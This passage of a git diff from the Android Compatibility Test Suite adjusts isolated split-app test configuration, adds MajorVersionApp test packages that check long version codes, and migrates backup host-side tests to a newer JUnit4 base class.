 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_c
-LOCAL_AAPT_FLAGS += --package-id 0x82
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Use the same package ID as feature A, since this is an isolated split and
+# will not be loaded together with feature A.
+LOCAL_AAPT_FLAGS += --package-id 0x80
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index ac3a57f..64b087c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -15,17 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_c"
         featureSplit="feature_c">
 
     <application>
-        <activity android:name=".feature_c.FeatureCActivity">
+        <activity android:name=".FeatureCActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_c.FeatureCReceiver">
+        <receiver android:name=".FeatureCReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index 2f6af13..b85e21b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -45,15 +45,20 @@
 @RunWith(AndroidJUnit4.class)
 public class SplitAppTest {
     private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
+
     private static final ComponentName FEATURE_A_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
     private static final ComponentName FEATURE_B_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
     private static final ComponentName FEATURE_C_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_c.FeatureCActivity");
-    private static final String FEATURE_A_STRING = PACKAGE + ":string/feature_a_string";
-    private static final String FEATURE_B_STRING = PACKAGE + ":string/feature_b_string";
-    private static final String FEATURE_C_STRING = PACKAGE + ":string/feature_c_string";
+
+    private static final String FEATURE_A_STRING =
+            "com.android.cts.isolatedsplitapp.feature_a:string/feature_a_string";
+    private static final String FEATURE_B_STRING =
+            "com.android.cts.isolatedsplitapp.feature_b:string/feature_b_string";
+    private static final String FEATURE_C_STRING =
+            "com.android.cts.isolatedsplitapp.feature_c:string/feature_c_string";
 
     private static final Configuration PL = new Configuration();
     static {
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk
new file mode 100644
index 0000000..6047ca5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk
@@ -0,0 +1,21 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
new file mode 100644
index 0000000..db83bb0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsMajorVersion000000000000ffff
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# sign this app with a different cert than CtsSimpleAppInstallDiffCert
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
new file mode 100644
index 0000000..2a63cd7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.majorversion"
+        android:versionCodeMajor="0x00000000" android:versionCode="0x0000ffff">
+
+    <application/>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.majorversion" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/src/com/android/cts/majorversion/VersionConstants.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/src/com/android/cts/majorversion/VersionConstants.java
new file mode 100644
index 0000000..4fe9fed
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/src/com/android/cts/majorversion/VersionConstants.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+public class VersionConstants {
+    public static final long PACKAGE_VERSION = 0x000000000000ffffL;
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
new file mode 100644
index 0000000..dd32f59
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsMajorVersion00000000ffffffff
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# sign this app with a different cert than CtsSimpleAppInstallDiffCert
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
new file mode 100644
index 0000000..934deec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.majorversion"
+        android:versionCodeMajor="0x00000000" android:versionCode="0xffffffff">
+
+    <application/>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.majorversion" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/src/com/android/cts/majorversion/VersionConstants.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/src/com/android/cts/majorversion/VersionConstants.java
new file mode 100644
index 0000000..4c9a62b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/src/com/android/cts/majorversion/VersionConstants.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+public class VersionConstants {
+    public static final long PACKAGE_VERSION = 0x00000000ffffffffL;
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
new file mode 100644
index 0000000..d534b7b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsMajorVersion000000ff00000000
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# sign this app with a different cert than CtsSimpleAppInstallDiffCert
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
new file mode 100644
index 0000000..c7b9dd0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.majorversion"
+        android:versionCodeMajor="0x000000ff" android:versionCode="0x00000000">
+
+    <application/>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.majorversion" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/src/com/android/cts/majorversion/VersionConstants.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/src/com/android/cts/majorversion/VersionConstants.java
new file mode 100644
index 0000000..6a10139
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/src/com/android/cts/majorversion/VersionConstants.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+public class VersionConstants {
+    public static final long PACKAGE_VERSION = 0x000000ff00000000L;
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
new file mode 100644
index 0000000..72c9914
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsMajorVersion000000ffffffffff
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# sign this app with a different cert than CtsSimpleAppInstallDiffCert
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
new file mode 100644
index 0000000..91d4e39
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.majorversion"
+        android:versionCodeMajor="0x000000ff" android:versionCode="0xffffffff">
+
+    <application/>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.majorversion" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/src/com/android/cts/majorversion/VersionConstants.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/src/com/android/cts/majorversion/VersionConstants.java
new file mode 100644
index 0000000..dead996
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/src/com/android/cts/majorversion/VersionConstants.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+public class VersionConstants {
+    public static final long PACKAGE_VERSION = 0x000000ffffffffffL;
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
new file mode 100644
index 0000000..e69e14b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+public class VersionTest {
+    @Test
+    public void testCheckVersion() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        PackageInfo pi = pm.getPackageInfo(InstrumentationRegistry.getContext().getPackageName(),
+                0);
+        assertEquals("com.android.cts.majorversion",
+                InstrumentationRegistry.getContext().getPackageName());
+        assertEquals(VersionConstants.PACKAGE_VERSION, pi.getLongVersionCode());
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
index 4f46936..73373d3 100644
--- a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
@@ -16,7 +16,7 @@
 
 package android.cts.backup;
 
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -62,6 +62,7 @@
     private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
 
     @After
+    @Override
     public void tearDown() throws Exception {
         super.tearDown();
 
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
index acdb423..f0861c0 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -16,15 +16,13 @@
 
 package android.cts.backup;
 
-import static junit.framework.Assert.assertTrue;
-
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.assertTrue;
 
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
 import org.junit.Before;
@@ -38,7 +36,7 @@
  * Base class for CTS backup/restore hostside tests
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public abstract class BaseBackupHostSideTest extends CompatibilityHostTestBase {
+public abstract class BaseBackupHostSideTest extends BaseHostJUnit4Test {
     protected boolean mIsBackupSupported;
 
     /** Value of PackageManager.FEATURE_BACKUP */
@@ -49,7 +47,7 @@
 
     @Before
     public void setUp() throws DeviceNotAvailableException, Exception {
-        mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
+        mIsBackupSupported = getDevice().hasFeature("feature:" + FEATURE_BACKUP);
         if (!mIsBackupSupported) {
             CLog.i("android.software.backup feature is not supported on this device");
             return;
@@ -71,7 +69,7 @@
      * Execute shell command "bmgr backupnow <packageName>" and return output from this command.
      */
     protected String backupNow(String packageName) throws DeviceNotAvailableException {
-        return mDevice.executeShellCommand("bmgr backupnow " + packageName);
+        return getDevice().executeShellCommand("bmgr backupnow " + packageName);
     }
 
     /**
@@ -96,14 +94,14 @@
      * Execute shell command "bmgr restore <packageName>" and return output from this command.
      */
     protected String restore(String packageName) throws DeviceNotAvailableException {
-        return mDevice.executeShellCommand("bmgr restore " + packageName);
+        return getDevice().executeShellCommand("bmgr restore " + packageName);
     }
 
     /**
      * Attempts to clear the device log.
      */
     protected void clearLogcat() throws DeviceNotAvailableException {
-        mDevice.executeAdbCommand("logcat", "-c");
+        getDevice().executeAdbCommand("logcat", "-c");
     }
 
     /**
@@ -174,7 +172,7 @@
 
     protected void startActivityInPackageAndWait(String packageName, String className)
             throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(String.format(
+        getDevice().executeShellCommand(String.format(
                 "am start -W -a android.intent.action.MAIN -n %s/%s.%s", packageName,
                 packageName,
                 className));
@@ -187,19 +185,19 @@
       */
     protected void clearBackupDataInLocalTransport(String packageName)
             throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(String.format("bmgr wipe %s %s", LOCAL_TRANSPORT, packageName));
+        getDevice().executeShellCommand(String.format("bmgr wipe %s %s", LOCAL_TRANSPORT, packageName));
     }
 
     /**
      * Clears package data
      */
     protected void clearPackageData(String packageName) throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(String.format("pm clear %s", packageName));
+        getDevice().executeShellCommand(String.format("pm clear %s", packageName));
     }
 
     private boolean isBackupEnabled() throws DeviceNotAvailableException {
         boolean isEnabled;
-        String output = mDevice.executeShellCommand("bmgr enabled");
+        String output = getDevice().executeShellCommand("bmgr enabled");
         Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
         Matcher matcher = pattern.matcher(output.trim());
         if (matcher.find()) {
@@ -211,7 +209,7 @@
     }
 
     private String getCurrentTransport() throws DeviceNotAvailableException {
-        String output = mDevice.executeShellCommand("bmgr list transports");
+        String output = getDevice().executeShellCommand("bmgr list transports");
         Pattern pattern = Pattern.compile("\\* (.*)");
         Matcher matcher = pattern.matcher(output);
         if (matcher.find()) {
diff --git a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
index 89cfe40..6589993 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
@@ -16,7 +16,7 @@
 
 package android.cts.backup;
 
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -76,6 +76,7 @@
 
 
     @After
+    @Override
     public void tearDown() throws Exception {
         super.tearDown();
 
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
index 8dd589a..e137e3e 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -16,8 +16,6 @@
 
 package android.cts.backup;
 
-import static org.junit.Assert.assertTrue;
-
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
diff --git a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
index a1f4927..5ce86d9 100644
--- a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
@@ -16,7 +16,7 @@
 
 package android.cts.backup;
 
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -27,8 +27,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.FileNotFoundException;
-
 /**
  * Test for checking that key/value backup and restore works correctly.
  * It interacts with the app that saves values in different shared preferences and files.
@@ -60,6 +58,7 @@
 
 
     @Before
+    @Override
     public void setUp() throws Exception {
         super.setUp();
         installPackage(KEY_VALUE_RESTORE_APP_APK);
@@ -70,6 +69,7 @@
     }
 
     @After
+    @Override
     public void tearDown() throws Exception {
         super.tearDown();
 
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
index 7c1f37b..a62eab8 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
@@ -16,23 +16,17 @@
 
 package android.cts.backup;
 
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-
-import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.assertNull;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.TargetSetupError;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
-import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.FileNotFoundException;
-
 /**
  * Test checking that restoreAnyVersion manifest flag is respected by backup manager.
  *
